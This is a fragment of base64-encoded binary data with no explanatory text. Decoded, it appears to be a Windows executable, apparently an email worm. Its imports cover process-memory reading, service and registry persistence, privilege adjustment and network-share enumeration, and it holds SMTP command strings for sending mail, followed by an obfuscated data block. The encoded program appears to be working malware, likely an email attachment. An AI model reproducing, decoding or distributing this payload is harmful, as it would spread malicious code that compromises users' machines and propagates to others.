2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA W4lAAG+zQAAAAAAAAAAAABS0QAAAAAAAAAAAAAAAAAAAAAAAMw1BAEAAAAAgAAAALAAAAC0t AABcAAAAUVVJVA0KAAANCi4NCgAAAERBVEEgDQoASEVMTyAlcw0KAAAAPg0KAE1BSUwgRlJP TTogPAAAAABSQ1BUIFRPOjwAAAAlZAAAIAkNCgAAAAAuLCgpJSRAIWB+IAAtXwAALi4AAC4A AABcKi4qAAAAAFxcAAAAAAAAiRV37zMZmXgQWLjJ8pkAAAOuHAE/Ly8vrO3V3ZX11d2V37XV xa5tBaXdbQWl3aw/J7Xd37XVxa6lzW9nrB2FPeV91d3f3YUNrr3lPY2sjeWdpbXftdXFruWl 9azt1d2V9dXdld+11cWuZdUFxYWs7dXdlfXV3ZXftdXFrg3VxawVpeXtpd2V37XVxd/t9a4F jb2sHYU95X3V3d/dhQ2uNeU1rO3V3ZX11d2V37XVxa4Npb29hayN5Z2ltd+11cWuvQU17awd hT3lfdXd392FDa7FBfWlrBW9x/2lLaXd37XV3/0trg3V9WXVrBW9x/2lLaXd37XV3/0trj2F xeUNzawVpd2ljdXV3509rsWlPeWFx82lLeWFPT2FrBWl3aWN1dXfnT2uDe3VBT2lZaWsFaXd pY3V1d+dPa4Vhb3FpTUNhT2s1QXFxaXftdXFrsWlPeWFlT+sFaXdpY3V1d+dPa6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urn9MLD3VlT2lxa+c5c2FNUzENNxMxDTc tNU9hZzlzYU1TMQ03B/fhSXNrgzMpQXdte2FPd8VbTWu5KTEpCws34V9va71ze2uxTUV1T3N jQffHTVtrq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u rq6urq6urq6urq6urq6urq6urq7FLW+u34Vtha7fNbU9rt8t5Z2u372lDa6urq6urq6urq6u rq7fDW0Nrt/tDcWu3+0Nxc2u3xWlva7fpTUtrt+N1bWu3z0Nna7fbc01rt/9LZWu37UtLa7f ta7fLaU1rt/FLZWu38UthZWu372l9a7fxS03rt8tjZ2urjTVnQ0VpT2FTMTltT3VNdWdDUwU 5d2N1RU1TLQFPT2F3Q0chT015dXdTK6kLS2vLKUN7TWuPAXdrjwF3dTdtYWuNGU1DYXFTLQF PT2F3Q201d0NPdXNNIUNTDSFPR3ltYU1rjTVnQ0VpT2FTMTltT3VNdWdDUwUpLxMFKS8D0wU pb2vnOXNha/cpcWFrjwF3TSFPR3ltYU1ruTdDYU93YUNrzSFDQ3l3ZU1TLSlte2FTCylDe01 rq6urq6urq7s5c+u7IXNzdXPrjyFf66cFX+uBN2Nhc3lHYU9pb3Nha/FpeXNx8e/hzW/rjyF DQU93YWNr8Wl5c3Hx7+HNb+urq6urqWvhzWvhzWvlaXFha6lr4c1r4c1rw3V1c2upa+HNa+H Na8Vhb015Q2FrqWvhzWvhzWvLaUNte2uhzWvPYXF1R2lza8N1dXNNa6urq6urq6u3YUVrp0F 3d1lrt3ltYWu7QXF1QU9roVtteUNha6V1dWNri3VFZ0Fza4U5d1sLK7khK8f3y+uFDc/34TN 9YU93a+uFDc/3/TNhX3fhK6u7dUVr6U9ha9l1QWuzYUNlzWvvYWvnT3lhd2NNa6NpT3N5d2V rjXVr7XV1c2vpa+dzaU17c+F3f3VZa/lDa5l1QU9ry2lNTUV1T2Nru3V3YVlrjXVxYWvJQWF NQ3l1d01ri3NhaU1ha8NPWWvpZWl5d2uFYXNtdXFha8N1a/FZa/t1cWFDdUV3a4N7YWvlKU9 jYXdr9Wdr4SNhd2u5d0NPdWNBbUN5dXdr9Xdr6SMNMyuxYWFDeXdla/d1Q3ltYWuJQWFNQ3l 1d3dpeU9ha611d2VPaUNBc2lDeXV3TWuNdU1p679pS2l3YU1ha+V5T3Nrxw0ry3NpWW91WWu zdXV9c/FZa+9haUFDeWdBc2vleU9za+dPeWF3Y2uhaWVhT2vDdWvNYWFr2XVBa41LeW1ha+V 5T3NNZevHdW1pc2vtdXdtYU9Da79pS2l3YU1ha/NpTU1l681hW1lry3ltQ0FPYU1rq6urjRl xaXdDYW1rsS1pZ2Fha6cxzSFtQU9ha401S3t1TWuDD2F3Y3F5bU91a70pTUthT019WWurq6u nD3VxX+vrgzVf6+uNAW9/YW1DX+vrq6uDO2Fr53Vzc3VFeXdla/FpeXNr7Wl3ZcNr72FrzWF 3Q2vDdWvhzV/rgztha+lDQ2lte3Fhd0Nrgztha+d5c2Frq/lNa8N7YWv1T3lleXdpc2vxaXl za6vleUdha9l1QWvDe2Fr4c1rq/lNa+lr4c1r42l3ZWFPdUFNa8d5T0FNa8N7aUNr4c1rrWl 3a/l3Z2FtQ2v1d2vFOXdZ2/XxIXXPy8vL9dsLN+uNS09haWNrw3tPdUFle2vhcWl5c3frh2F PWWvrjUthbXlpc2vru0NDS1/19euFRUV367ftdXFrpzVPa/F1T2Fr+XdndU9xaUN5dXdzy3N haU1ha8d5TXlDa+uDO3lNa/lNa+u5K+HNa9l1QWvFdUFzY2vhzWv5Q3froXd/dVlrs3l9YWu 